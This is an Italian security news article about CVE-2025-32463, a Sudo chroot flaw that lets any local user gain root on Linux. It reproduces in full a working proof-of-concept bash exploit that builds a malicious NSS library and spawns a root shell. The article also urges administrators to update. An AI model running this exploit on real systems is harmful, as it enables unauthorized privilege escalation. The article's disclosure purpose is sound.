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Vulnerabilità critica in Sudo: escalation dei privilegi a root su Linux

Redazione RHC : 1 Luglio 2025 09:21

Una falla critica nella sicurezza dell’utility Linux Sudo è stata individuata, tale falla permette a qualunque utente locale privo di autorizzazioni di ampliare i propri diritti fino ad arrivare all’accesso come root. Le versioni del software Sudo dalla 1.9.14 alla 1.9.17 sono state riconosciute come vulnerabili, codificate come CVE-2025-32463, e rappresentano un pericolo considerevole per i sistemi operativi Linux che adottano le impostazioni di default.

Pertanto si consiglia vivamente agli amministratori di sistema di aggiornare immediatamente i propri pacchetti Sudo, poiché non esiste una soluzione alternativa per questa vulnerabilità critica.

Il bug di sicurezza è stato individuato da Rich Mirch della Stratascale Cyber Research Unit (CRU) e interessa la funzionalità chroot (-R o -chroot) poco comune in Sudo. Questa falla risulta essere estremamente pericolosa poiché non necessita dell’impostazione di regole Sudo specifiche per l’utente malintenzionato, permettendo quindi lo sfruttamento da parte di utenti sprovvisti di autorizzazioni amministrative.


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    La falla è stata introdotta in Sudo v1.9.14 a giugno 2023 con aggiornamenti al codice di gestione della corrispondenza dei comandi quando viene utilizzata la funzionalità chroot. La vulnerabilità consente agli utenti non privilegiati di richiamare chroot() su percorsi scrivibili e non attendibili sotto il loro controllo, che Sudo esegue con autorità di root.

    #!/bin/bash
    # sudo-chwoot.sh
    # CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
    # @ Stratascale Cyber Research Unit (CRU)
    STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
    cd ${STAGE?} || exit 1
    
    cat > woot1337.c
    #include 
    
    __attribute__((constructor)) void woot(void) {
      setreuid(0,0);
      setregid(0,0);
      chdir("/");
      execl("/bin/bash", "/bin/bash", NULL);
    }
    EOF
    
    mkdir -p woot/etc libnss_
    echo "passwd: /woot1337" > woot/etc/nsswitch.conf
    cp /etc/group woot/etc
    gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
    
    echo "woot!"
    sudo -R woot woot
    rm -rf ${STAGE?}
    

    La tecnica di sfruttamento implica l’inserimento di un file /etc/nsswitch.conf dannoso all’interno di un ambiente chroot controllato, manipolando il sistema Name Service Switch (NSS). Questo permette agli aggressori di specificare fonti NSS personalizzate, corrispondenti a librerie di oggetti condivisi (come ad esempio libnss_/woot1337.so.2), che vengono successivamente caricate da Sudo con privilegi di root. Di conseguenza, si verifica una violazione della sicurezza quando le operazioni NSS sono attivate e il sistema procede al caricamento della configurazione /etc/nsswitch.conf da un ambiente che non è attendibile.

    L’exploit proof-of-concept lo dimostra creando un oggetto condiviso dannoso con una funzione che chiama setreuid(0,0) e setregid(0,0) per ottenere privilegi di root , quindi esegue /bin/bash per fornire una shell di root. Il codice exploit mostra come un semplice comando gcc -shared -fPIC può compilare la libreria dannosa che viene caricata durante le operazioni NSS di Sudo.

    I ricercatori di sicurezza hanno verificato la vulnerabilità su Ubuntu 24.04.1 con Sudo 1.9.15p5 e 1.9.16p2, nonché su Fedora 41 Server con Sudo 1.9.15p5. La vulnerabilità colpisce la configurazione predefinita di Sudo, rendendola una minaccia diffusa che richiede attenzione immediata. La correzione è disponibile in Sudo 1.9.17p1 o versioni successive, in cui l’opzione chroot è stata deprecata e le funzioni vulnerabili pivot_root() e unpivot_root() sono state rimosse.

    Redazione
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